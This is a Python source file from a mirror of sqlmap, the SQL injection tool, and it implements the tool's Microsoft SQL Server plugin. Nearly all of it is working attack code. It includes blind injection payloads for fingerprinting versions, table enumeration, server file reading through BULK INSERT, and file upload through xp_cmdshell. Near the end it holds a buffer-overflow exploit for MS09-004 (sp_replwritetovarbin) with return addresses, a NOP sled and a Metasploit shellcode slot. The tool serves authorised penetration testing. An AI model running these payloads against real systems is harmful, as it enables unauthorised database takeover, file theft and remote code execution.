mirror of
https://github.com/sqlmapproject/sqlmap.git
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717 lines
25 KiB
Python
717 lines
25 KiB
Python
#!/usr/bin/env python
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"""
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$Id$
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This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
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Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
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Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
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sqlmap is free software; you can redistribute it and/or modify it under
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the terms of the GNU General Public License as published by the Free
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Software Foundation version 2 of the License.
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sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
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WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
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FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
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details.
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You should have received a copy of the GNU General Public License along
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with sqlmap; if not, write to the Free Software Foundation, Inc., 51
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Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
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"""
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import os
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import time
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from lib.core.agent import agent
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from lib.core.common import formatDBMSfp
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from lib.core.common import formatFingerprint
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from lib.core.common import getHtmlErrorFp
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from lib.core.common import getRange
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from lib.core.common import randomStr
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from lib.core.convert import urlencode
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from lib.core.data import conf
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from lib.core.data import kb
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from lib.core.data import logger
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from lib.core.data import queries
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from lib.core.exception import sqlmapNoneDataException
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from lib.core.exception import sqlmapSyntaxException
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from lib.core.exception import sqlmapUnsupportedFeatureException
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from lib.core.session import setDbms
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from lib.core.settings import MSSQL_ALIASES
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from lib.core.settings import MSSQL_SYSTEM_DBS
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from lib.core.unescaper import unescaper
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from lib.request import inject
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from lib.request.connect import Connect as Request
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from plugins.generic.enumeration import Enumeration
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from plugins.generic.filesystem import Filesystem
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from plugins.generic.fingerprint import Fingerprint
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from plugins.generic.misc import Miscellaneous
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from plugins.generic.takeover import Takeover
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class MSSQLServerMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
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"""
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This class defines Microsoft SQL Server methods
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"""
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def __init__(self):
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self.excludeDbsList = MSSQL_SYSTEM_DBS
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Enumeration.__init__(self, "Microsoft SQL Server")
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Filesystem.__init__(self)
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Takeover.__init__(self)
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unescaper.setUnescape(MSSQLServerMap.unescape)
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@staticmethod
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def unescape(expression, quote=True):
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if quote:
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while True:
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index = expression.find("'")
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if index == -1:
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break
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firstIndex = index + 1
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index = expression[firstIndex:].find("'")
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if index == -1:
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raise sqlmapSyntaxException, "Unenclosed ' in '%s'" % expression
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lastIndex = firstIndex + index
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old = "'%s'" % expression[firstIndex:lastIndex]
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#unescaped = "("
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unescaped = ""
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for i in range(firstIndex, lastIndex):
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unescaped += "CHAR(%d)" % (ord(expression[i]))
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if i < lastIndex - 1:
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unescaped += "+"
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#unescaped += ")"
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expression = expression.replace(old, unescaped)
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else:
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expression = "+".join("CHAR(%d)" % ord(c) for c in expression)
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return expression
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@staticmethod
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def escape(expression):
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while True:
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index = expression.find("CHAR(")
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if index == -1:
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break
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firstIndex = index
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index = expression[firstIndex:].find("))")
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if index == -1:
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raise sqlmapSyntaxException, "Unenclosed ) in '%s'" % expression
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lastIndex = firstIndex + index + 1
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old = expression[firstIndex:lastIndex]
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oldUpper = old.upper()
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oldUpper = oldUpper.replace("CHAR(", "").replace(")", "")
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oldUpper = oldUpper.split("+")
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escaped = "'%s'" % "".join([chr(int(char)) for char in oldUpper])
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expression = expression.replace(old, escaped)
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return expression
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def getFingerprint(self):
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value = ""
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wsOsFp = formatFingerprint("web server", kb.headersFp)
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if wsOsFp:
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value += "%s\n" % wsOsFp
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if kb.data.banner:
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dbmsOsFp = formatFingerprint("back-end DBMS", kb.bannerFp)
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if dbmsOsFp:
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value += "%s\n" % dbmsOsFp
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value += "back-end DBMS: "
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actVer = formatDBMSfp()
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if not conf.extensiveFp:
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value += actVer
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return value
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blank = " " * 15
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value += "active fingerprint: %s" % actVer
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if kb.bannerFp:
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release = kb.bannerFp["dbmsRelease"]
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version = kb.bannerFp["dbmsVersion"]
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servicepack = kb.bannerFp["dbmsServicePack"]
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if release and version and servicepack:
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banVer = "Microsoft SQL Server %s " % release
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banVer += "Service Pack %s " % servicepack
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banVer += "version %s" % version
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value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer)
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htmlErrorFp = getHtmlErrorFp()
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if htmlErrorFp:
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value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp)
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return value
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def checkDbms(self):
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if conf.dbms in MSSQL_ALIASES and kb.dbmsVersion and kb.dbmsVersion[0].isdigit():
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setDbms("Microsoft SQL Server %s" % kb.dbmsVersion[0])
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self.getBanner()
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if not conf.extensiveFp:
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kb.os = "Windows"
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return True
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infoMsg = "testing Microsoft SQL Server"
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logger.info(infoMsg)
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payload = agent.fullPayload(" AND LEN(@@VERSION)=LEN(@@VERSION)")
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result = Request.queryPage(payload)
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if result == True:
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infoMsg = "confirming Microsoft SQL Server"
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logger.info(infoMsg)
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for version in ( 0, 5, 8 ):
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payload = agent.fullPayload(" AND ( ( SUBSTRING((@@VERSION), 22, 1)=2 AND SUBSTRING((@@VERSION), 25, 1)=%d ) OR ( SUBSTRING((@@VERSION), 23, 1)=2 AND SUBSTRING((@@VERSION), 26, 1)=%d ) )" % (version, version))
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result = Request.queryPage(payload)
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if result == True:
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if version == 8:
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kb.dbmsVersion = [ "2008" ]
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break
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elif version == 5:
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kb.dbmsVersion = [ "2005" ]
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break
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elif version == 0:
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kb.dbmsVersion = [ "2000" ]
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break
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else:
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payload = agent.fullPayload(" AND SUBSTRING((@@VERSION), 22, 1)=7")
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result = Request.queryPage(payload)
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if result == True:
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kb.dbmsVersion = [ "7.0" ]
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break
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if kb.dbmsVersion:
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setDbms("Microsoft SQL Server %s" % kb.dbmsVersion[0])
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else:
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setDbms("Microsoft SQL Server")
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self.getBanner()
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kb.os = "Windows"
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return True
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else:
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warnMsg = "the back-end DMBS is not Microsoft SQL Server"
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logger.warn(warnMsg)
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return False
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def checkDbmsOs(self, detailed=False):
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if kb.os and kb.osVersion and kb.osSP:
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return
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if not kb.os:
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kb.os = "Windows"
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if detailed == False:
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return
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infoMsg = "fingerprinting the back-end DBMS operating system "
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infoMsg += "version and service pack"
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logger.info(infoMsg)
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infoMsg = "the back-end DBMS operating system is %s" % kb.os
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self.createSupportTbl(self.fileTblName, self.tblField, "varchar(1000)")
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inject.goStacked("INSERT INTO %s(%s) VALUES (%s)" % (self.fileTblName, self.tblField, "@@VERSION"))
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versions = {
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"2003": ( "5.2", ( 2, 1 ) ),
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#"2003": ( "6.0", ( 2, 1 ) ),
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"2008": ( "7.0", ( 1, ) ),
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"2000": ( "5.0", ( 4, 3, 2, 1 ) ),
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"XP": ( "5.1", ( 2, 1 ) ),
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"NT": ( "4.0", ( 6, 5, 4, 3, 2, 1 ) )
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}
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# Get back-end DBMS underlying operating system version
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for version, data in versions.items():
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query = "(SELECT LEN(%s) FROM %s WHERE %s " % (self.tblField, self.fileTblName, self.tblField)
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query += "LIKE '%Windows NT " + data[0] + "%')>0"
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query = agent.forgeCaseStatement(query)
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if inject.getValue(query, charsetType=1) == "1":
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kb.osVersion = version
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infoMsg += " %s" % kb.osVersion
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break
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if not kb.osVersion:
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kb.osVersion = "2003"
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kb.osSP = 2
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warnMsg = "unable to fingerprint the underlying operating "
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warnMsg += "system version, assuming it is Windows "
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warnMsg += "%s Service Pack %d" % (kb.osVersion, kb.osSP)
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logger.warn(warnMsg)
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self.cleanup(onlyFileTbl=True)
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return
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# Get back-end DBMS underlying operating system service pack
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sps = versions[kb.osVersion][1]
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for sp in sps:
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query = "(SELECT LEN(%s) FROM %s WHERE %s " % (self.tblField, self.fileTblName, self.tblField)
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query += "LIKE '%Service Pack " + str(sp) + "%')>0"
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query = agent.forgeCaseStatement(query)
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if inject.getValue(query, charsetType=1) == "1":
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kb.osSP = sp
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break
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if not kb.osSP:
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debugMsg = "assuming the operating system has no service pack"
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logger.debug(debugMsg)
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kb.osSP = 0
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if kb.osVersion:
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infoMsg += " Service Pack %d" % kb.osSP
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logger.info(infoMsg)
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self.cleanup(onlyFileTbl=True)
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def getPrivileges(self):
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warnMsg = "on Microsoft SQL Server it is not possible to fetch "
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warnMsg += "database users privileges"
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logger.warn(warnMsg)
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return {}
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def getTables(self):
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infoMsg = "fetching tables"
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if conf.db:
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infoMsg += " for database '%s'" % conf.db
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logger.info(infoMsg)
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rootQuery = queries[kb.dbms].tables
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if not conf.db:
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if not len(kb.data.cachedDbs):
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dbs = self.getDbs()
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else:
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dbs = kb.data.cachedDbs
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else:
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if "," in conf.db:
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dbs = conf.db.split(",")
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else:
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dbs = [conf.db]
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if kb.unionPosition:
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for db in dbs:
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if conf.excludeSysDbs and db in self.excludeDbsList:
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infoMsg = "skipping system database '%s'" % db
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logger.info(infoMsg)
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continue
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query = rootQuery["inband"]["query"] % db
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value = inject.getValue(query, blind=False)
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if value:
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kb.data.cachedTables[db] = value
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if not kb.data.cachedTables:
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for db in dbs:
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if conf.excludeSysDbs and db in self.excludeDbsList:
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infoMsg = "skipping system database '%s'" % db
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logger.info(infoMsg)
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continue
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infoMsg = "fetching number of tables for "
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infoMsg += "database '%s'" % db
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logger.info(infoMsg)
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query = rootQuery["blind"]["count"] % db
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count = inject.getValue(query, inband=False, charsetType=2)
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if not count.isdigit() or not len(count) or count == "0":
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warnMsg = "unable to retrieve the number of "
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warnMsg += "tables for database '%s'" % db
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logger.warn(warnMsg)
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continue
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tables = []
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for index in range(int(count)):
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query = rootQuery["blind"]["query"] % (db, index, db)
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table = inject.getValue(query, inband=False)
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tables.append(table)
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if tables:
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kb.data.cachedTables[db] = tables
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else:
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warnMsg = "unable to retrieve the tables "
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warnMsg += "for database '%s'" % db
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logger.warn(warnMsg)
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if not kb.data.cachedTables:
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errMsg = "unable to retrieve the tables for any database"
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raise sqlmapNoneDataException, errMsg
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return kb.data.cachedTables
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def unionReadFile(self, rFile):
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errMsg = "Microsoft SQL Server does not support file reading "
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errMsg += "with UNION query SQL injection technique"
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raise sqlmapUnsupportedFeatureException, errMsg
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def stackedReadFile(self, rFile):
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infoMsg = "fetching file: '%s'" % rFile
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logger.info(infoMsg)
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result = []
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txtTbl = self.fileTblName
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hexTbl = "%shex" % self.fileTblName
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self.createSupportTbl(txtTbl, self.tblField, "text")
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inject.goStacked("DROP TABLE %s" % hexTbl)
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inject.goStacked("CREATE TABLE %s(id INT IDENTITY(1, 1) PRIMARY KEY, %s %s)" % (hexTbl, self.tblField, "VARCHAR(4096)"))
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logger.debug("loading the content of file '%s' into support table" % rFile)
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inject.goStacked("BULK INSERT %s FROM '%s' WITH (CODEPAGE='RAW', FIELDTERMINATOR='%s', ROWTERMINATOR='%s')" % (txtTbl, rFile, randomStr(10), randomStr(10)), silent=True)
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# Reference: http://support.microsoft.com/kb/104829
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binToHexQuery = """
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DECLARE @charset VARCHAR(16)
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DECLARE @counter INT
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DECLARE @hexstr VARCHAR(4096)
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DECLARE @length INT
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DECLARE @chunk INT
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SET @charset = '0123456789ABCDEF'
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SET @counter = 1
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SET @hexstr = ''
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SET @length = (SELECT DATALENGTH(%s) FROM %s)
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SET @chunk = 1024
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WHILE (@counter <= @length)
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BEGIN
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DECLARE @tempint INT
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DECLARE @firstint INT
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DECLARE @secondint INT
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SET @tempint = CONVERT(INT, (SELECT ASCII(SUBSTRING(%s, @counter, 1)) FROM %s))
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SET @firstint = floor(@tempint/16)
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SET @secondint = @tempint - (@firstint * 16)
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SET @hexstr = @hexstr + SUBSTRING(@charset, @firstint+1, 1) + SUBSTRING(@charset, @secondint+1, 1)
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SET @counter = @counter + 1
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IF @counter %% @chunk = 0
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BEGIN
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INSERT INTO %s(%s) VALUES(@hexstr)
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SET @hexstr = ''
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END
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END
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IF @counter %% (@chunk) != 0
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BEGIN
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INSERT INTO %s(%s) VALUES(@hexstr)
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END
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""" % (self.tblField, txtTbl, self.tblField, txtTbl, hexTbl, self.tblField, hexTbl, self.tblField)
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binToHexQuery = binToHexQuery.replace(" ", "").replace("\n", " ")
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binToHexQuery = urlencode(binToHexQuery, convall=True)
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inject.goStacked(binToHexQuery)
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if kb.unionPosition:
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result = inject.getValue("SELECT %s FROM %s ORDER BY id ASC" % (self.tblField, hexTbl), sort=False, resumeValue=False, blind=False)
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if not result:
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result = []
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count = inject.getValue("SELECT COUNT(%s) FROM %s" % (self.tblField, hexTbl), resumeValue=False, charsetType=2)
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if not count.isdigit() or not len(count) or count == "0":
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errMsg = "unable to retrieve the content of the "
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errMsg += "file '%s'" % rFile
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raise sqlmapNoneDataException, errMsg
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indexRange = getRange(count)
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for index in indexRange:
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chunk = inject.getValue("SELECT TOP 1 %s FROM %s WHERE %s NOT IN (SELECT TOP %d %s FROM %s ORDER BY id ASC) ORDER BY id ASC" % (self.tblField, hexTbl, self.tblField, index, self.tblField, hexTbl), unpack=False, resumeValue=False, sort=False, charsetType=3)
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result.append(chunk)
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inject.goStacked("DROP TABLE %s" % hexTbl)
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return result
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def unionWriteFile(self, wFile, dFile, fileType, confirm=True):
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errMsg = "Microsoft SQL Server does not support file upload with "
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errMsg += "UNION query SQL injection technique"
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raise sqlmapUnsupportedFeatureException, errMsg
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def stackedWriteFile(self, wFile, dFile, fileType, confirm=True):
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# NOTE: this is needed here because we use xp_cmdshell extended
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# procedure to write a file on the back-end Microsoft SQL Server
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# file system. Maybe it won't be required to write text files
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self.initEnv()
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self.getRemoteTempPath()
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debugMsg = "going to use xp_cmdshell extended procedure to write "
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debugMsg += "the %s file content to file '%s'" % (fileType, dFile)
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logger.debug(debugMsg)
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debugSize = 0xFF00
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tmpPath = conf.tmpPath.replace("/", "\\")
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dFileName = os.path.split(dFile)[1]
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dFile = dFile.replace("/", "\\")
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wFileSize = os.path.getsize(wFile)
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wFilePointer = open(wFile, "rb")
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wFileContent = wFilePointer.read()
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wFilePointer.close()
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if wFileSize < debugSize:
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chunkName = self.updateBinChunk(wFileContent, tmpPath)
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sFile = "%s\%s" % (tmpPath, dFileName)
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logger.debug("moving binary file %s to %s" % (sFile, dFile))
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commands = (
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"cd %s" % tmpPath,
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"ren %s %s" % (chunkName, dFileName),
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"move /Y %s %s" % (dFileName, dFile)
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)
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complComm = " & ".join(command for command in commands)
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forgedCmd = self.xpCmdshellForgeCmd(complComm)
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self.execCmd(forgedCmd)
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else:
|
|
infoMsg = "the %s file is bigger than %d " % (fileType, debugSize)
|
|
infoMsg += "bytes. sqlmap will split it into chunks, upload "
|
|
infoMsg += "them and recreate the original file out of the "
|
|
infoMsg += "binary chunks server-side, wait.."
|
|
logger.info(infoMsg)
|
|
|
|
counter = 1
|
|
|
|
for i in range(0, wFileSize, debugSize):
|
|
wFileChunk = wFileContent[i:i+debugSize]
|
|
chunkName = self.updateBinChunk(wFileChunk, tmpPath)
|
|
|
|
if i == 0:
|
|
infoMsg = "renaming chunk "
|
|
copyCmd = "ren %s %s" % (chunkName, dFileName)
|
|
else:
|
|
infoMsg = "appending chunk "
|
|
copyCmd = "copy /B /Y %s+%s %s" % (dFileName, chunkName, dFileName)
|
|
|
|
infoMsg += "%s\%s to %s\%s" % (tmpPath, chunkName, tmpPath, dFileName)
|
|
logger.debug(infoMsg)
|
|
|
|
commands = (
|
|
"cd %s" % tmpPath,
|
|
copyCmd,
|
|
"del /F %s" % chunkName
|
|
)
|
|
complComm = " & ".join(command for command in commands)
|
|
forgedCmd = self.xpCmdshellForgeCmd(complComm)
|
|
|
|
self.execCmd(forgedCmd)
|
|
|
|
logger.info("file chunk %d written" % counter)
|
|
|
|
counter += 1
|
|
|
|
sFile = "%s\%s" % (tmpPath, dFileName)
|
|
|
|
logger.debug("moving binary file %s to %s" % (sFile, dFile))
|
|
|
|
commands = (
|
|
"cd %s" % tmpPath,
|
|
"move /Y %s %s" % (dFileName, dFile)
|
|
)
|
|
complComm = " & ".join(command for command in commands)
|
|
forgedCmd = self.xpCmdshellForgeCmd(complComm)
|
|
|
|
self.execCmd(forgedCmd)
|
|
|
|
if confirm == True:
|
|
self.askCheckWrittenFile(wFile, dFile, fileType)
|
|
|
|
|
|
def uncPathRequest(self):
|
|
#inject.goStacked("EXEC master..xp_fileexist '%s'" % self.uncPath, silent=True)
|
|
inject.goStacked("EXEC master..xp_dirtree '%s'" % self.uncPath)
|
|
|
|
|
|
def overflowBypassDEP(self):
|
|
# TODO: use 'sc' to:
|
|
# * Get the SQL Server 'Service name' (usually MSSQLSERVER)
|
|
# * Detect the absolute SQL Server executable file path
|
|
#
|
|
# References:
|
|
# * http://www.ss64.com/nt/sc.html
|
|
# * http://www.ss64.com/nt/for_cmd.html
|
|
self.handleDep("C:\Program Files\Microsoft SQL Server\MSSQL.1\MSSQL\Binn\sqlservr.exe")
|
|
|
|
if self.bypassDEP == False:
|
|
return
|
|
|
|
logger.info("restarting Microsoft SQL Server, wait..")
|
|
time.sleep(15)
|
|
|
|
# TODO: use 'sc' to:
|
|
# * Warn the user that sqlmap needs to restart the SQL Server
|
|
# service, ask for confirmation
|
|
# * Stop the SQL Server service (after handling DEP)
|
|
# * Start the SQL Server service (after handling DEP)
|
|
|
|
# Another way to restart MSSQL consists of writing a bat file with
|
|
# the following text:
|
|
#
|
|
#@ECHO OFF
|
|
#NET STOP MSSQLSERVER
|
|
#NET START MSSQLSERVER
|
|
#
|
|
# Then run the following statement and wait a few seconds:
|
|
#
|
|
# exec master..xp_cmdshell 'start C:\WINDOWS\Temp\sqlmaprandom.bat'
|
|
|
|
|
|
def spHeapOverflow(self):
|
|
"""
|
|
References:
|
|
* http://www.microsoft.com/technet/security/bulletin/MS09-004.mspx
|
|
* http://support.microsoft.com/kb/959420
|
|
"""
|
|
|
|
returns = {
|
|
"2003": ( 2, "CHAR(0x77)+CHAR(0x55)+CHAR(0x87)+CHAR(0x7c)" ), # ntdll.dll: 0x7c8601bd -> 7508e877 (0x77e80857 it's a CALL ESI @ kernel32.dll)
|
|
"2000": ( 4, "CHAR(0xdc)+CHAR(0xe1)+CHAR(0xf8)+CHAR(0x7c)" ), # shell32.dll: 0x7cf8e1ec 163bf77c -> (CALL ESI @ shell32.dll)
|
|
}
|
|
retAddr = None
|
|
|
|
for version, data in returns.items():
|
|
sp = data[0]
|
|
address = data[1]
|
|
|
|
if kb.osVersion == version and kb.osSP == sp:
|
|
retAddr = address
|
|
|
|
break
|
|
|
|
if retAddr == None:
|
|
errMsg = "sqlmap can not exploit the stored procedure buffer "
|
|
errMsg += "overflow because it does not have a valid return "
|
|
errMsg += "code for the underlying operating system (Windows "
|
|
errMsg += "%s Service Pack %d" % (kb.osVersion, kb.osSP)
|
|
raise sqlmapUnsupportedFeatureException, errMsg
|
|
|
|
self.spExploit = """
|
|
DECLARE @buf NVARCHAR(4000),
|
|
@val NVARCHAR(4),
|
|
@counter INT
|
|
SET @buf = '
|
|
declare @retcode int,
|
|
@end_offset int,
|
|
@vb_buffer varbinary,
|
|
@vb_bufferlen int
|
|
exec master.dbo.sp_replwritetovarbin 347, @end_offset output, @vb_buffer output, @vb_bufferlen output,'''
|
|
SET @val = CHAR(0x41)
|
|
SET @counter = 0
|
|
WHILE @counter < 3320
|
|
BEGIN
|
|
SET @counter = @counter + 1
|
|
IF @counter = 411
|
|
BEGIN
|
|
/* Return address */
|
|
SET @buf = @buf + %s
|
|
|
|
/* Nopsled */
|
|
SET @buf = @buf + CHAR(0x90)+CHAR(0x90)+CHAR(0x90)
|
|
SET @buf = @buf + CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+
|
|
CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+
|
|
CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+
|
|
CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+
|
|
CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+
|
|
CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+
|
|
CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+
|
|
CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+
|
|
CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+
|
|
CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+
|
|
CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+
|
|
CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)
|
|
|
|
/* Metasploit shellcode stage 1 */
|
|
SET @buf = @buf + %s
|
|
|
|
/* Unroll the stack and return */
|
|
CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+
|
|
CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+
|
|
CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+
|
|
CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+
|
|
CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+
|
|
CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+
|
|
CHAR(0xc3)
|
|
|
|
SET @counter = @counter + 302
|
|
SET @val = CHAR(0x43)
|
|
CONTINUE
|
|
END
|
|
SET @buf = @buf + @val
|
|
END
|
|
SET @buf = @buf + ''',''33'',''34'',''35'',''36'',''37'',''38'',''39'',''40'',''41'''
|
|
EXEC master..sp_executesql @buf
|
|
""" % (retAddr, self.shellcodeChar)
|
|
|
|
self.spExploit = self.spExploit.replace(" ", "").replace("\n", " ")
|
|
self.spExploit = urlencode(self.spExploit, convall=True)
|
|
|
|
logger.info("triggering the buffer overflow vulnerability, wait..")
|
|
inject.goStacked(self.spExploit, silent=True)
|